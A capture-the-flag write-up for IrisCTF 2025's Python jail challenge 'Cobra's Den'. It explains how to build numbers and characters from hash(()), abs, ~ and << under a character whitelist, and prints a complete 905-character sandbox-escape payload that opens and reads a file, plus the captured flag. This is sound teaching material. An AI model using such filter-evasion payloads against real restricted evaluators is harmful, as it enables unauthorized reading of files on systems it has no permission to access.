# IrisCTF 2025: Cobra's Den ## Task: ``` You have entered the Cobra's Den, can you find a way to escape? ``` ## Solution: To get the flag, we need to open a file named "flag" in the current directory. We are restricted by: - Only being allowed to use certain "filtered" built-in functions - Can only use the characters in the string `<ph[(cobras.den)]+~` - Only can use one period symbol - Character count has to be less than or equal to 1115 Some functions we can use under these constraints are abs(), hash(), open(), chr(), ord(), repr(). Now, we need to make an instruction that simplifies to `open("flag").read()`. Because we cannot use the characters to make the string "flag", we'll use `chr()` to represent letters, making our new instruction `open(chr(102)+chr(108)+chr(97)+chr(103))`. How do we make numbers if we can't type any? There are many different ways you could approach this, but the way I figured it out was when you provide an empty tuple to `hash()`, it returns a number output. This is too big to be useful, so we turn it into -1 with `hash(())+~hash(())`. Now, we can start crafting a string. We can make more numbers by using the binary NOT operator `~`, the absolute value function `abs()` , and the left shift operator `<<` like so: ```py print(abs(-1)) # 1 print(abs(~abs(-1))) # 2 print(abs(~abs(~abs(-1)))) # 3 print(abs(~abs(~abs(~abs(-1))))) # 4 # ... print(abs(~abs(~abs(~abs(~abs(~abs(~abs(-1)))))))) # 7 print(abs(~abs(-1))<<abs(~abs(-1))) # 8 ``` I wanted to make it small enough for the length restriction, so I had to limit how many times I used the -1 equivalent. The way I constructed the `chr()` numbers from this was to use many left bit shifts and adding/subtracting values from that. So, here is the new instruction: ```py open(chr((1<<7)+~(1<<5)+7)+chr((1<<7)+~(5<<2)+1)+chr((1<<7)+~(1<<5)+2)+chr((1<<7)+~(1<<5)+8)).read() ``` Going up the substitutions, the final payload is only 905 characters! Sending it returns the flag. This is what it looks like: ```py open(chr(((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))))+~((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))+(abs(~abs(~abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))))+chr(((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))))+~((abs(~abs(~abs(~abs(~abs(hash(())+~hash(())))))))<<(abs(~abs(hash(())+~hash(())))))+(abs(hash(())+~hash(()))))+chr(((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))))+~((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))+(abs(~abs(hash(())+~hash(())))))+chr(((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))))+~((abs(hash(())+~hash(())))<<(abs(~abs(~abs(~abs(~abs(hash(())+~hash(()))))))))+(abs(~abs(hash(())+~hash(())))<<abs(~abs(hash(())+~hash(())))))).read() ``` ## Flag: `irisctf{pyth0n_has_s(+([]<[]))me_whacky_sh(+([]<[[]]))t}`